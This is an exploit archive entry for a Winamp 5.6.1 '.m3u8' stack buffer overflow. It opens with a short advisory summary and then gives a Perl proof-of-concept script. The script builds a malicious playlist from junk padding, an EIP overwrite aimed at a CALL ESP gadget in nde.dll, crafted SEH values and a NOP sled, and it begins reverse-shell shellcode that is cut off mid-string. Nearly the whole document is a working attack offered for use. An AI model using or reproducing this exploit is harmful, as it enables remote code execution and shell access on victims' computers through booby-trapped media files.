Winamp 5.6.1 – ‘.m3u8’ Remote Buffer Overflow
source: https://www.securityfocus.com/bid/47333/info Winamp is prone to a remote buffer-overflow vulnerability because the application fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer. Attackers can execute arbitrary code in the context of the affected application. Failed exploit attempts will result in a denial-of-service condition. Winamp 5.6.1 is vulnerable; other versions may also be affected. #!/usr/bin/perl ### # Title : Winamp 5.6.1 (.m3u8) Stack Buffer Overflow # Author : KedAns-Dz # E-mail : ked-h@hotmail.com || ked-h@exploit-id.com # Home : HMD/AM (30008/04300) - Algeria -(00213555248701) # Twitter page : twitter.com/kedans # platform : windows # Impact : Stack Overflow # Tested on : Windows XP sp3 FR ### # Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all ) ## # [»] ~ special thanks to : jos_ali_joe (exploit-id.com) , and All exploit-id Team ### my $header = "#EXTM3U\n"; my $junk = "\x41" x 16240; # Buffer Junk my $eip = "\xad\x86\x0e\x07"; # overwrite EIP - 070E86AD | FFD4 CALL ESP nde.dll my $seh = pack('V',0x10017928); # add ESP,4404 $seh = $seh.pack('V',0x00000003); # Value de : EAX $seh = $seh."\x41" x 11; $seh = $seh.pack('V',0x41414141); # Value de : ECX $seh = $seh."\x41" x 3; $seh = $seh.pack('V',0x007EA478); # Value de : EDX $seh = $seh."\x41" x 22; $seh = $seh.pack('V',0x40000001); # Value de : EBX $seh = $seh."\x41" x 8; $seh = $seh.pack('V',0x028F1DB0); # Valeu de : ESP $seh = $seh."\x41" x 12; $seh = $seh.pack('V',0x77230459); # Valeu de : EBP $seh = $seh."\x41" x 10; $seh = $seh.pack('V',0x08FD62A8); # Valeu de : ESI $seh = $seh."\x41" x 11; $seh = $seh.pack('V',0x00497300); # Valeu de : EDI $seh = $seh."\x41" x 2; $seh = $seh.pack('V',0x08FD293C); # Valeu de : EIP $seh = $seh."\x41" x 5; my $nops = "\x90" x 100; # Nop my $space = "\x41" x (43492 - length($junk) - length($nops)); my $shellcode = # windows/shell_reverse_tcp (http://www.metasploit.com) "\x56\x54\x58\x36\x33\x30\x56\x58\x48\x34\x39\x48\x48\x48" .
